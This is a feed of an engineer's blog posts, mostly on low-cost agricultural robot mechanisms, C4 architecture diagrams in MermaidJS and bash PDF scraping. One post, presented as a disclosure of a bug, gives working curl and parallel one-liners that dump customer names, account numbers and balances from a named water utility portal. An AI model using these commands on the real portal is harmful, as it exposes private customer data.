DEV Community: Brian Onang'o

Scaling Fixed Robots Using Brian Mechanisms

Brian Onang'o — Mon, 01 Aug 2022 12:57:11 +0000

This article is about a new class of mechanisms called Brian Mechanisms. For progress on the work of building the worlds cheapest robots using Brian Mechanisms, read the articles here

In the search for an affordable and scalable design of an agricultural robot, the design has been established of a mechanism for turning both fixed as well as mobile robots into compound robots, thereby (1) scaling up fixed robots and (2) increasing the precision of mobile robots, as well as (3) reducing the complexity currently involved in the positioning systems of mobile robots. The new mechanism, called Brian Mechanism, can be used to build robots for the agricultural and construction industrial which don't require high precision. But it is also theoretically possible to build large scale cartesian robots for use in 3D printers, laser cutters and other application that require high precision. It is left to the imagination of the creative and inventive minds to conceive many other uses for the mechanism.

Based on the degree of mobility, robots are traditionally classified into two classes: (1) fixed robots and (2) mobile robot. Fixed robots do not move with respect to certain components in their environment while mobile robots travel in their environments by using various means of locomotion. But there is yet another new class of robots called compound robots. Compound robots integrates the functions of a mobile robot and a fixed robot. Fixed robots mainly replace the functions of human arms and hands; while mobile robots, namely, replace the walking functions of human legs and feet. The compound robot uses both hands and feet, combining two functions. This way it has, with a few trade-offs here and there, the advantages of fixed robots as well as those of mobile robots.

Fixed robots are mainly designed for high endurance, speed, and precision, while mobile robots are bulit for scalability. By scale we mean not the number of robot working together, but rather the size of its workspace. Combining the two we get the precision of fixed robots as well as the workspace scalability of mobile robots into our compound robots.

Mobile robots can also be grouped into two categories: guided (AGVs) and autonomous(AMRs). AGVs rely on guidance devices that allow them to travel a pre-defined navigation route in relatively controlled space, while AMRs are capable of navigating an uncontrolled environment without the need for physical or electro-mechanical guidance devices. The components of a mobile robot are a controller, sensors, actuators and power system. The sensor systems required for AMRs such as self driving cars are quite complicated and therefore quite expensive. AGVs have far less complicated sensor systems while fixed robots can work without position feedback sensors since a number of them are cable of being controlled by open loop systems.

Brian mechanisms, to a large degree take away the need for guidance systems for AGVs as well as the complicated sensor systems for AMRs while increasing the area over which fixed robots can work. The result is a means which, it is suggested, provides the cheapest means of producing large scale robots.

The Concept

The Brian Mechanism concept is this: a fixed robot carries a mobile robot. The workspace/environment of the fixed robot is the mobile robot while that of the mobile robot is the world. When the fixed robot needs to work an area greater than its workspace, the mobile robot carries it to the area adjacent to its current workspace of the same size as its current workspace. The mobile robot moves over a fixed distance each time. The motion and position of the fixed robot does not depend upon that of the mobile robot. That is, the position of the fixed robot is only a function of that of the mobile robot in as far as the position of its workspace is determined by the mobile robot. For instance, the position in the y direction can be calculated as:

y = n * L - y f

Where
n is the number of times the mobile robot has moved.
L is the distance by which the mobile robot moves
yf is the position of the fixed robot end effector in its workspace.

Comparison with Wheels and Walking Mechanisms

Brian Mechanisms can be made from wheels, tracks or legs. Therefore it is easy to confuse them with any of these, especially with walking mechanisms. But the difference lies in the way in which the fixed robot/payload is moved. When using wheels or tracks, the displacement of the payload is equal to that of wheel axles. For example, a person sitting in a car has the same displacement from some location as that of the wheel axles. If the tires spin and the vehicles does not move, the person also does not move. That is:

Sp = Sw

Where
Sp - is the displacement of the payload and
Sw - is the displacement of the wheel axel.

The same is true for tracks. Walking mechanisms also have the displacement of their payloads equal to the amount by which the joint of the leg to the payload has been displaced.

But its different in Brian Mechanisms. The position of a person walking in a car from a point of reference outside the car depends not entirely on the posision of the car. This is the case in Brian Mechanisms.

But there is another difference. A car's position is continuous making it, as has been mentioned under AGVs difficult to locate. The position of the mobile part of Brian Mechanisms is moved by discrete steps as opposed to the continuous displacement of the car. At any point t:

y m = n * L

This is the mechanism provided by the mechanism for locating the mobile robot in its environment. While not entirely eliminating errors, it reduces the error significantly compared to normal wheels or tracks.

In summary:

Mobile robot part of Brian mechanisms have discrete position while normal mobile robots have continuous positions.
The position of the payload of Brian mechanisms is only partially dependent on the position of the mobile robot part. This point is capture in point 1 above.

A Practical example

The video shows an implementations of the Brian Mechanism using a chain driven mechanism.

Brian Mechanism - What it is

Brian Onang'o — Mon, 25 Jul 2022 20:12:00 +0000

Brian Mechanisms are a class of mechanisms that are functionally intended to convert fixed robots into compound robots so that they can be used to economically make cheap scalable robots.

Brian mechanisms have a fixed robot part and a compound robot part. The fixed robot is carried on a platform which is carried either by a set of legs or wheels. The fixed robot can be anything from a CNC to agricultural machines.

The concept is this: a fixed robot's price is reduced by making it smaller. Then a relatively cheaply priced system is used to move that fixed robot precisely over the area it is intended to work in. This forms a compound robot. The advantages of the fixed robot are inherited by the compound robot.

The compound robot moves the datum used by the fixed robot to detemine the position of its end effector. By this means the workspace of the fixed robot is moved from one place to the next adjacent area. Also provided by the compound robot is a a means of having the fixed robot being able to access the whole of that new workspace.

Difference with Walking Mechanisms and Wheels

Brian mechanisms differ from wheels and walking mechanisms in the way in which the payload is moved. In systems having wheels or legs, motion is achieved due to the following:

A torque T is applied by the engine to the wheel.
The force on the circumference of the wheel at the point of contact with the ground due to that torque T/r is less than the static Friction Fr and there is a forward reaction on the wheel which causes it to move forward as it rolls. As the wheel rolls forward, its axle is translated forward. Since the axle carries the payload, the payload is also moved forward. The same applied to walking mechanisms. The force applied to the legs on the ground cause a reaction force that move the legs and the payload forward. In brief, wheeled systems and walking mechanisms move relative to the ground.

But there is a different class of mechanisms called Brian Mechanisms which work in the following way:

The payload moves relative to a platform, as opposed to relative to the ground as when using wheels.
A system of legs/wheels are used to move, relative to the ground, the frame on which the platform moves so that the platform can have continuous motion.

This video illustrates some examples of Brian Mechanisms

Brian Mechanism - Design for Affordability and Scalability

Brian Onang'o — Sun, 24 Jul 2022 20:38:00 +0000

We have been building what should be the world's cheapest agricultural robot. The design that has been established for its platform should have use in several other areas, including: construction and manufacturing.

The chief requirements for our robot are (1) that it be rightly prized to be afforded by the people that need it most. The big farmers, while this should be useful to them as well, already have other machines that they can rely on. (2) That is be scalable. By scalable we mean that it can be used on small as well as large farms.

1. Cost
Most precision machines fall into the class that is classified as fixed robots. These have a fixed table and some means of controlling an end effector to achieve some translations or rotations on a number of axes. The end effector moves relative to the table. Its position is determined relative to some datum on the base. An inversion of this arrangement is also possible where the end effector is fixed on some axes and it is the table that moves instead along or about these axes.

To achieve high precision and accuracy, fixed robots require:

Highly machined frames
Actuators that can be accurately controlled.
Optionally, a closed loop control system. Open loop control systems using stepper motors have been used in 3D printers with good success.

But many of these fixed robots, even when they are small in size are quite expensive. This is the reason why such places as GearBox exists where you go and pay to use even the simplest of machines. If the cost of these machines could be brought down, even if it be at the cost of a reasonable sacrifice of precision and other quality parameters, they would help spur creativity and greater invention. It is for this that we are designing.

These machines are expensive for a large number of reasons. Of interest to us are:

Choice of material. This is the case for instance with Farmbot which uses expensive aluminum for its frame when agricultural work does not require the precision of accurately machined aluminum. The solution for this is to use a composite frame consisting of aluminum and other cheaper material. Steel for instance, may be heavier, but it is readily available and more cheaply prized.
Superflous material. Some robots use more material than they need. Again in the case of farmbot, it uses more aluminum that it needs for its rail and gantry. The rail of farmbot max was entirely an aluminum V-slot. Its structural integrity is not sacrificed by doing away with some of the aluminum. It is possible to reduce that expensive material by as much as half.
Big sizes. When a machine is intended to work over some size of workspace, it is built to cover all that area. The advantages of a compound robot are hardly ever in mind.
Place of manufacture and intended market. Machines designed and made for the western markets are always too expensive for us.

Now here are the solutions:
i. Local design and fabrication. Here is the most obvious means of reducing the cost of these robots. For here they will find less prized technical as well as non-technical skill reducing thus their production costs. The production costs do not depend alone upon the cost of manufacture, but also on the costs incurred in the design phase. The faster we begin designing and producing our robots ourselves, the sooner we will be having them in our farms.
ii. Expensive accurately machined material for the frame for the axes for cartesian coordinate robots can be greatly reduced. This is accomplshed by the following steps: (i) The cross-slide carried by the frame has its length increased to Lc. There is a minimun length of frame that can support the cross-slide. This length is Lf. (ii) The frame is broken into sections of Lf in length and spaced Lc - Lf apart.

The Cyan in the image represents Lc while the Red represents Lf. The Black reprensents a less expensive material.

You can see it in action here on youtube.

The total length of expensive material now needed for the frame is: nLf for a length of frame equal to nLc - Lf. The total saving is equal to:

n (L c - L f) - L f

The greater Lc is the greater the savings are. Make it as great as the load will allow.

This answers to the problem of superfluous material as well as choice of material. The places where the expensive material has been removed can be supplied with a less expensive material, represented by black in the image.

iii. Reducing the size of the robot and making it scalable by turning it into a compound robot as discussed in the next section.

2. Scalability
The obvious way to make a fixed robot work over an area greater than its workspace is to place it on wheels, or on legs using any walking mechanism. But the wheel was designed for moving its payload from one place to another with very low precision. It was not designed for precision robotics.

Wheels slip when the axle is translated by a value not equal to that moved by the circumference of the wheel. For example when stopping a moving wheel, the wheel becomes locked and does not rotate, but it will move for some distance before it stops. Equally when a wheel accelerates very fast, it generates a force that may overcome static friction so that it spins. The coefficient of friction between the surface and the wheel is also not constant, making control difficult.

The wheel has the advantages of (1) speed, (2) energy efficiency since it does not move the payload vertically relative to the ground as some walking mechanisms do (3) scale: a wheel can go anywhere, unlike fixed robots. But due to slip, it does dismally on precision. So there have to be very complex control systems to correct the errors in its displacement if it has to be used in a precision robot. These control systems have within them equally complex sensor systems which go by such names as "sensor fusion", LIDAR, GPS, etc. Open loop control systems cannot be used here. This means that in robotics, wheeled systems are expensive if used in precision robots.

Grouping robots into categories based on their mobility we have (1) fixed robots and (2) mobile robots. But the wheel, its advantages and disadvantages, is a model of the mobile robot since for the most part the mobility of a robot is achieved by putting it on wheels. Fixed robots on the other hand use a rigid structure to constrain the payload (on an end effector) to achieve the desired precision. The rigid structure is a highly and precisely machined material such as heavy thick steel or aluminium. But such materials do not come cheap. It is therefore economically impossible to scale a fixed robot to a reasonable size for several outdoor applications, such as for agriculture. The case of the signal failure of Farmbot Max illustrates this well. Although cable systems may be obtained at a cheaper material cost so that they can cover a larger workspace, they also have a limit beyond which they cannot be extended.

Listed, the following are the advantages and disadvantages of mobile robots on wheels:

Advantages	Disadvantages
Scalable. Wheels can go anywhere	Low precision
High speed, compared to walking mechanisms	Complex control systems
Simple design	Very expensive

For a fixed robot we have:

Advantages	Disadvantages
High precision	Not scalable
Open loop control possible	Unreasonably small scale for agricultural applications
Affordable when small in size

The Solution

The solution then is to design a compound robot. This way we have the precision of fixed robots and avoid the costs associated with mobile robots. But since the fixed robot is already in place, the design work is reduced to that of a means of moving that rigid frame of a fixed robot from precisely one point of reference to another.

The small difference between this compound robot and a mobile robot is in the way the legs are moved in relation to the motion of the payload. In mobile robots continuous motion of the payload requires continuous motion of the actuating system which can be some set of legs or wheels. It is the motion of the actuating system that results in the displacement of the payload.

However, in the compound robot, there is no relation between the motion of the payload and the legs. For instance, continuous motion of the payload is accompanied by intermittent motion of the legs. This means that unlike in mobile robots where slip can occur at any time, in compound robots there is no slip when the robot is moving from one small workspace to the next. If a means can be devised for grounding the fixed robot frame down hard enough to overcome any slip that may be created when working, then the slip problem will have been solved. The frame can be grounded during its rest periods.

Some suggestions for mechanisms for turning a fixed robot into a compound robot are available here on github

These suggestions are a class of mechanisms easy to be confused with walking mechanisms, but they are not walking mechanisms. They are a class of mechanisms which we have named Brian Mechanism. The difference between the two is discussed in Brian Mechanism - What it is

Brian Mechanism: Building the World's Cheapest Large Scale Agricultural Robot

Brian Onang'o — Fri, 15 Jul 2022 13:54:00 +0000

This is our attempt at building the world's cheapest large scale agricultural robot.

A week ago on Friday July 8, 2022 we wrote a series of articles on Chainbrake, the design that we had for our years long challenge of creating the world's cheapest agricultural robot. After several years of back and forth with our designs, we had thought that we had developed the best design in the chainbrake design. But a day of testing a prototype immediately revealed the problems that would be experienced with the proposed cable system. Much of what chainbrake really is now remains in our sketch books and in our heads. Although it is a good design and innovation that we hope will find use somewhere in the future, we have in the course of the week been able to come up with the design of a 2DoF Rail enabling infinite precise motion in 2 axes.

Our Inspiration
The inspiration for our project came from FarmBot. Farmbot seems to us a noble attempt to create a robot to help in agricultural work, not for the big industrial farms, but for the small scale kitchen gardeners. Without their work, we would probably never have begun our work. Theirs is the spark of light that we needed to see to begin what has now been about 5 years of work in RnD. It is true that this is probably a lot of time. But the design experience we have gained in the process has led to what we have chosen to call the Brian Mechanism.

The Problem Defined
Our primary problem and quarrel with Farmbot is in its cost and inscalability. Farmbot is so prohibitively priced for us who live in Africa. This can be seen from its buyer distribution map. After 6 years of production, and boasting of customers in over 90 countries, hardly any of these is from Africa and the other poor regions of the world.

The failure of Farmbot Max, the largest farmbot developed by FarmBot well illustrates its inscalability.

The table belows gives a comparison of the cost and size of the different farmbots available.

This leaves us with a robot we would like to have, but is too expensive for us, and which even if we would be able to afford, would still leave us disappointed that it can but work a very small area which can easily be worked by hand.

But seeing as this is not an article on the many disadvantages of Farmbot, especially to the poor African farmer, we proceed to consider:

A Brief Background
In the search for a design which would make an affordable and scalable robot, we have gone through several design iterations. Some of these are now relics in our sketchbooks, but considerable work has been done in some. These are some of the designs that we proposed:

A cable driven robot. This was dropped because of its complexity both in the mechanism and control. The name we gave for it was csybot (Circuits and Systems roBot). Mathematical models on github and an illustration on youtube are available.
Several other designs. Some have been lost while some are available on youtube and
on github With these designs we managed to come up with the design of a platform that can achieve continuous linear motion along one axis from the intermittent motion of two legs.But we had no way of raising up the legs to clear the ground when moving At this stage we were happy to rename our project to angel robotics. But since some people were already using that name, we decided to change to chainbrake in the next stage.
Chainbrake. This is yet another rope system. It is a low precision one, but capable of doing agricultural work. But it has been dropped because of the difficulty in tensioning rope systems. Chain brake simply means that it is a braking system for a rope system using an ordinary chain. When you insert a cable through a chain, then stretch the chain, the bearings of the chain grip on the cable so hard that it provides a way for stopping any movement of the chain.

We have also been able to do a little work, now on hold, on a farmbot simulator, which we discussed on the farmbot forum. See an illustration of it on youtube

We managed to create what is to us an interesting mechanism which combines the braking and actuation systems of the chain into a single one using two motors and a single chain. It lives in our sketchbooks. We do not want to be distracted by it now for the want of time. We hope it finds use somewhere in future.

This is our problem: We need for our friends, neighbours and relatives a large scale agricultural robot that they can afford. If you already have developed such or know of one, we would be glad to hear from you so that we can immediately stop this our project. Except that ours is to be the cheapest. If there is already a cheap agricultural machine out there, we must reiterate until ours is the cheapest. But we believe that we already have a working design in: Brian Mechanism

As we have seen that our aim is to solve the dual problem of:

Affordability
Scalability

let us go on to see the steps through which we have been able to achieve this in designing for affordability and scalability

ChainBrake: Building the world's cheapest Agricultural Robot

Brian Onang'o — Fri, 08 Jul 2022 13:47:00 +0000

Chainbrake is our attempt at building the world's cheapest agricutural robot, Africa's version of farmbot cheap enough to be afforded in Africa.

This repo has been archived. We have stopped work on this project, as a result of which we will neither edit nor write any further articles on the work of developing chainbrake. Please have a look at the Brian Mechanism Project which is the project that has taken over chainbrake in building the world's cheapest robot.

The following is a cseco project which we'd like to run parallel with Kataa Queue. It is intended to run for 4 - 6 weeks. And with the limited resources that we have in our R&D department at CSECO, where our main goal is developing solutions that are cheap enough to be afforded in Africa, we are looking for an affordable way we can run the rest of the project.

Over the course of 4 years at CSECO, we have worked on a number of projects, some which we worked on as consultants, but some have been our own projects which we have always been happy to opensource. But we have been learning a lot along the way, especially on (1) software architecture and (2) project management. What we are still in the process of learning is how to make enough money from our projects which is commensurate to the effort we put into them. For instance, our work which detected a firmware bug on a series of Huawei routers(ONT) which enables internet access without an active subscription(we will document this soon. It is currently available at a private repo) or the buggy Mombasa Water portal which enables access to all customer balance data, or the customization of thingsboard which is also under a private repo, etc.

We have however, been able to successfully develop a means of documenting software architecture. And this series of articles is an attempt to develop a simple means of project management, for projects that require more than the writing of code; right from ideation to system design, to the design of both hardware and software components of the system, to software development and the fabrication of the hardware components.

We have proposed to have a system of writing publicly whatever parts of the project we would like to opensource and have have the proprietery sections documented in private repos.

The present project involves building the world's cheapest Agricultural robot. It has been long in the making, but now all things are set and a prototype of it should be up and testing in the next 6 weeks. The inspiration for this project came from FarmBot. But as shall be been from the concept document up ahead, farmbot is too expensive for us Africans. See the buyer distribution map below to understand what we mean. There are but two Africans living in Africa how have been able to buy Farmbot, which, as shall also be seen, can be rightly classified as a very dear educational toy.

Over the course of the years, we have worked on a simulator for farmbot and a number of mechanisms which we proposed for building affordability into the proposed robot. But now we have finally settled for a chainbrake mechanism as the means of actuating the robot. It shall also be seen why this choice was made. Although the chainbrake mechanism is an opensource design, we are in the process of working on an IP for a chainbrake actuator. All this is part of the current project. We shall now go on ahead to look at the project timeline.

Using Github and MermaidJs to Document Software Architecture Using C4 Model

Brian Onang'o — Tue, 15 Mar 2022 12:30:24 +0000

UML is a popular standard for developing software architecture. But it has an alternative in thee C4 model. The C4 model is an "abstraction-first" approach to diagramming software architecture, based upon abstractions that reflect how software architects and developers think about and build software. For more information about the C4 model, please visit its website.

The C4 model consists of hierarchical diagrams in 4 steps:

The System Context Diagram
Container Diagram showing the independently deployable parts of the sytem.
Components of the containers
Code

More information is made available as we go down the hierarchy, more like zooming into a map. To be able to visualize C4 models, we have to have a system that is able to take us from one item up in the hierarchy to its children down the hierarchy. There are not that many tools that are able to work with C4 models yet, these being limited to:

Gaphor. This is a free desktop application
C4-plantuml which provides a VS-Code extension
goadesign for creating software architecture models and diagrams in Go
structurizr which is proprietary software from Simon Brown, the developer of the C4 model.
MermaidJs, which is free and can be used in github markdown files.

We are going to show how to build simple models using mermaid JS, with an example available at mermaid-c4-model

Using mermaid in a github md file

Include a code section with mermaid as the language:

```mermaid
% mermaid code goes here
```
## Choosing Diagram type
Mermaid supports a number of diagram types. We will use `flowchart TB` for our C4 model diagrams.

flowchart TB
% the rest of mermaid code goes here

Using Subgraphs

MermaidJs was not intended for building diagrams with a lot of information as in the detailed C4 model diagrams.

Consider the user diagram for example. We cannot possibly include all that info in a single mermaid object. So we choose subgraphs as our basic units. We will still not be able to get the icons into the subgraphs. But they are not absolutely necessary.

To build the user diagram above in mermaid, we use a subgraph and 2 other objects (A1 and B1) inside the subgraph. The subgraph and A1 have the same color applied to them. B1 can retain have the default object color.

% color definition
classDef gray fill:#62524F, color:#fff
subgraph publicUser[ ]
    A1[[Public User<br/> Via REST API]]
    B1[Backend Services/<br/>frontend services]
end
% Apply the color to subgraph and A1
class publicUser,A1 gray

The result is:

Each subgraph representing a single object has an Ai and a Bi object. Where i is the number of the subgraph. When applying a color or any other style, we apply it to both the subgraph and the Ai object.

Using Legends

A different mermaid object is used to create the legend. A subgraph holds different objects having different colors applied representing the different types of elements in the model, with a description in the object text. For example, the legend below is created using the following code:

flowchart TB
classDef borderless stroke-width:0px
classDef darkBlue fill:#00008B, color:#fff
classDef brightBlue fill:#6082B6, color:#fff
classDef gray fill:#62524F, color:#fff
classDef gray2 fill:#4F625B, color:#fff

subgraph Legend[Legend]
    Legend1[person]
    Legend2[system]
    Legend3[external person]
    Legend4[external system]
end
class Legend1 darkBlue
class Legend2 brightBlue
class Legend3 gray
class Legend4 gray2

Opening Container Diagrams from Context Diagram and going further down the hierarchy

To open a container diagram, we implement a click event handler on the object representing the system having the container diagram. In the following example, the Books system has a container diagram representing more detailed info about the system.

To open the container diagram, we implement:

subgraph booksSystem[ ]
    A3[[Books System]]
    B3[Allows interacting with book records]
end
class booksSystem,A3 brightBlue

click A3 "/csymapp/mermaid-c4-model/blob/master/containerDiagram.md" "booksSystem"

The click event does not work with subgraphs. That is why we use A3 instead of booksSystem.
The url supplied has to be either absolute pointing to the container diagram, or relative to 'https://github.com'. It seems that we cannot supply a path relative to our repo yet. This means that if this repo is forked, then the path has to be editted to reflect its new location.

The same is done for opening a component diagram from a container diagram.

Since the click event is on the A node inside the subgraph, we have to be sure to click on it, rather than on the subgraph itself.

A little issue

For large models, github seems not to have a way of scaling it up so that the text and other objects are visible. Zooming in the page does not zoom in the iframe rendering the svg.

All in all, its a wonderful way to start documenting simple software architectures.

The full example is available in this github repo.

The C4 model is pretty easy to use, so start designing your software in a way that you can share your design with others.

Using Bash to Scrape Data from Mombasa Water Portal

Brian Onang'o — Tue, 15 Mar 2022 09:59:24 +0000

This article is intended to show some of the poor practices of implementing buggy IT systems, which are available to the public, with proof of concept tools to exploit the buggy systems, with a view to having the bugs fixed and raising the standard of Software Engineering practice in Kenya.

Of the many Water and Sanitation companies in Kenya, Mombasa Water and Nairobi Water seem to be among the few, if not the only ones, that have digitized their records and provided an online portal for their customers to check their records. Mombasa Water, however, in classical style, has implemented its system in a such a buggy way that it exposes all the accounts and their balances to the public. More than a year later, the bug has remained unfixed.

The portal itself does not use any authentication. This seems to be common practice with water, and utility providers seeing as KPLC self-service portal is designed in almost the same way. KPLC, however, implements some authentication and a token is required to access the API end point that returns data for a specific meter. But this token is not generated by the user from his credentials. This then provides security only against bots.

The KPLC portal allows a user to query data for a specific Meter Number or Account Number. It is the same with the Mombasa Water Portal. And since it is very difficult to guess an account number or a meter number, these systems provide some rudimentary security against exposing all user data. KPLC has another trick. While the call to the API returns the name of the account holder as well as the other info, the name is filtered out and not shown in the table of the records displayed in the UI. This shows that there could be some privacy concern with them about having all this info available to the public. Whether there are already data laws that forbid such a practice, we know not. But we know that this practice is surely a violation of the privacy of its users.

But the designers and implementers of the Mombasa Water Portal are even worse. Their system does not even seem to have an API. To query it, you need to send a POST request to the page https://portal.mombasawater.co.ke/index.php with the search=ACCOUNT_NUMBER. This can be done in bash using curl:

curl --data "search=ACCOUNT_NUMBER" https://portal.mombasawater.co.ke/index.php

This lacks the basic security that is provided by the KPLC system against brute-force account guessing bots.

Supplying a space character for the account number returns a list having the customer name and account number of all the accounts.

curl --data "search= " https://portal.mombasawater.co.ke/index.php

To get account number and customer name we use grep and sed:

curl --data "search= " https://portal.mombasawater.co.ke/index.php | grep -o "Account Number.*" | sed -e 's/Customer Name:<div>/:/' | sed -e 's/Account Number:<div>//' |grep -o "[0-9]*:.*"

To sort the data and save to a text file:

curl --data "search= " https://portal.mombasawater.co.ke/index.php | grep -o "Account Number.*" | sed -e 's/Customer Name:<div>/:/' | sed -e 's/Account Number:<div>//' |grep -o "[0-9]*:.*" |sort > mw.txt

Fetching Account Balances

Account balances can be fetched by entering the account number into the Account Number Field of the form at the portal.

This task can also be automated using bash.
For a single account:

curl --data "search=ACCOUNT_NUMBER" https://portal.mombasawater.co.ke/index.php|grep -o "Customer Name:.*\|Account Number:.*\|Balance:.*"  | sed -e 's/<[^>]*>//g' | sed -e 's/\(Balance[^ ]*\) .*/\1/' | tr -d '\r\n' | sed 's/Customer Name:\(.*\)Account Number:\([0-9]*\)Balance:\(.*\)/\2:\3:\1/'

For all accounts. Save to txt file with name in the format YYYY-MM-DDhh:hh:ss.balances

cat mw.txt | sed -e 's/:.*//g' | parallel -j200 "curl -sS --data \"search={}\" https://portal.mombasawater.co.ke/index.php | grep -o \"Customer Name:.*\|Account Number:.*\|Balance:.*\" | sed -e 's/<[^>]*>//g' | sed -e 's/\(Balance[^ ]*\) .*/\1/' |  tr -d '\r\n'|sed -e 's/\(Customer Name\)/\n\r\1/g' | sed -e 's/Customer Name:\(.*\)Account Number:\(.*\)Balance:\(.*\)/\2:\3:\t\1/g' >> \"$(date +\"%F%T\").balances\" && echo {#}"

The one liner:

curl --data "search= " https://portal.mombasawater.co.ke/index.php | grep -o "Account Number.*" | sed -e 's/Customer Name:<div>/:/' | sed -e 's/Account Number:<div>//' |grep -o "[0-9]*:.*" |sort | sed -e 's/:.*//g' | parallel -j200 "curl -sS --data \"search={}\" https://portal.mombasawater.co.ke/index.php | grep -o \"Customer Name:.*\|Account Number:.*\|Balance:.*\" | sed -e 's/<[^>]*>//g' | sed -e 's/\(Balance[^ ]*\) .*/\1/' |  tr -d '\r\n'|sed -e 's/\(Customer Name\)/\n\r\1/g' | sed -e 's/Customer Name:\(.*\)Account Number:\(.*\)Balance:\(.*\)/\2:\3:\t\1/g' >> \"$(date +\"%F%T\").balances\" && echo {#}"

With that single line a malicious actor is able to get the balance records, with the names for all accounts, of Mombasa Water as frequently as he likes and use that data for whatever on earth it can be used for. Our solution to this challenge, as well as for helping other WASH players to get up to speed with technological advancements is the openWASH, the open source WASH Management Information System. It may be several months or years away, but it's well in the pipeline.

Creating a searchable knowledge-base from several PDF files

Brian Onang'o — Tue, 01 Mar 2022 12:11:46 +0000

Part 1 - Exploring the Power of Bash

In the current project we are going to work with several isolated PDF files, converting them into a searchable knowledge base. We are going to see how to:

Download a file from a website using a script.
Scrape an html table for links.
Batch download several files in parallel without running out of memory.
Combine pdf files using a script
Batch rename files
Create a website from pdf files.

Before we begin, let us give a little background for the project. We have quarterly Bible study guides that have faithfully been produced every year since 1886. All of these have been digitized and are available for all years since 1888 (also available here). Like in all areas, the faithful student is he that compares the current studies with what has been done in the past. This comparison will help in understanding the subject under consideration more deeply and in seeing if there are any errors that have been introduced in the new, or if there were errors in the old. And Christ said that "every scribe instructed concerning the kingdom of heaven is like a householder who brings out of his treasure things new and old."

To be able to make use of the old guides, the student currently has to go to the index of titles and check for the guides relevant to his subject of study, download all the pdf files individually, the reading each of them. But it would be more desirable to have a searchable knowledge-base having all these guides which the student can search whatever he needs at once, without having to manage 500+ individual files. It is such a system that we will be building.

In the first step we are going to:

1. Download a pdf file from a website using a script

The first lesson available is found at the following link: http://documents.adventistarchives.org/SSQ/SS18880101-01.pdf

Downloading this single file is pretty straightforward.

wget http://documents.adventistarchives.org/SSQ/SS18880101-01.pdf

But since there are over 500 files and we cannot possibly copy and paste the link one by one from the site and download them, we are going to:

2. Scape the page for links to pdf files

All the pdf files we need are available in the directory being served at http://documents.adventistarchives.org/SSQ/. But trying to access that directory does not give a listing of the files in it, but rather redirects to a different page. We would use recursive wget to download all those files if accessing the directory gave a listing of the files it contains. But since this is not available to us, we have to use some other method.

Since we already know that all the files we are looking for have http://documents.adventistarchives.org/SSQ/ in their url. That is going to form the basis for our pattern. The final command that we have to extract both the url of the pdf file and the lesson title for that pdf is

echo -n '' > files.txt && curl -s https://www.adventistarchives.org/sabbathschoollessons | grep  -o 'http://documents.adventistarchives.org/SSQ/[^.]*.pdf\"[^\>]*[^\<]*' | while read line ; do echo "$line" | sed -e 's/\"[^\>]*./ /' | sed -e 's/  \+/ /g' >> files.txt; done

grep -o will print only the matches found.

The result is saved in files.txt. Each line has the pdf url and the lesson title for that pdf.

To see the number of files that we will be dealing with we can do wc -l files.txt. There are 516 files in total.

3. Downloading all 510 files

The files are in reality a little fewer than 516 because the list contains duplicates since it is designed for every quarter whereas some pdf files have two quarters. To remove the duplicated urls, we use sort:

sort -u -o files.txt files.txt

To download the files, we need to get the url for each file from files.txt. We can do this by

cat files.txt |while read line ; do echo "$line" | cut -f 1 -d " " |xargs wget; done

But this downloads one file at a time and is as a result very slow and inefficient.

To download the files in parallel, we use wget with the '-b' option so that it can fork itself. We sort the urls file to remove duplicated urls since files.txt has duplicated urls and not duplicated lines because of different lesson titles for the duplicated urls.

cut -d\  -f1  files.txt > urls && sort -u -o urls urls && cat urls |while read line ; do echo "$line" | cut -f 1 -d " " |xargs wget -b; done

We are probably very lucky to download all the 510 files in 5 seconds without running out of 1GB of memory. It would be interesting to know how this would perform in node.

4. Combine 510 pdfs into 1

The first obvious step in making our knowledge-base is probably combining all the pdfs into one. This will result in a single big pdf (over 100mbs in size), but much more useful in study if it can be opened than 510 separate pdfs. For this we are going to use ghostscript:

gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=allLessons.pdf *.pdf

Ghostscript quickly runs us out of memory. A better alternative for this task could be pdfunite.

pdfunite *.pdf allLessons.pdf

pdfunite gets us a bigger file, but it is also runs us out of memory. Using NitroPro on windows in a system having 8GB of RAM gives us a file of 708.4Mb. It would be interesting to see if this would also be possible in a single core 1GB RAM system like the linux one we are trying to force to work for us.

Let's try pdfunite on 10 files at a time. We will use GNU parallel and let it do what it can to manage the memory for us. This process takes about 20 minutes and outputs files 1.pdf ... 51.pdf which we need to further combine.

ls -lha ./ |grep SS.*pdf | grep -o '[^ ]*$' |parallel -N10 pdfunite {} {#}.pdf

6. Creating a site where pdfs can be downloaded.

We are going to do this using github pages. To do this we are first going to create a CNAME entry in our DNS server to point to github pages.

CNAME	ttl	points to
sslpdfs	900	gospelsounders.github.io.

Then we are going to add a CNAME file with the contents sslpdfs.gospelsounders.org, commit and push repo to github, and configure the github pages settings in the github repo.

GIT_SSH_COMMAND='ssh -i /tmp/gitKey -o IdentitiesOnly=yes' git push origin master

Next we should create the index of the files that we have and put them in README.md. The following bash commands do this for us.

curl -s https://www.adventistarchives.org/sabbathschoollessons |grep -o ^[\<]td.* |sed -e 's/<td[^\>]*>//g' | sed -e 's/<sup>.*<\/sup>//g' | sed -e 's/<\/td>//g' |sed -e 's/\<a.*href="[^h][^t][^t][^p][^:][^>]*>.*<\/a><//' | sed -e 's/<a[^>]*><\/a>//g' |sed -e 's/<[^a][^>]*>//g' |grep -A 2 '^[0-9]\{4\}' | grep -v -- "^--$" |parallel -N3 echo {} | sed -e 's/\(<a[^<]*\)\(<.*\)/\1/g'| sed -e 's/<a.* href="\([^"]*\)"[^>]*>\(.*\)/[\2](\1)/' | sed -e 's/  */ /g' | sed -e 's/http:\/\/documents.adventistarchives.org\/SSQ\///' | sed -e 's/ \]/\]/g'

It produces a list in the following format:

But we would desire to have all the quarters of a year in a single row in a table having the following header:

Year	Quarter 1	Quarter 2	Quarter 3	Quarter 4

With the header already in the markdown file (README.md), the following commands create the table for us and add it to the markdown file.

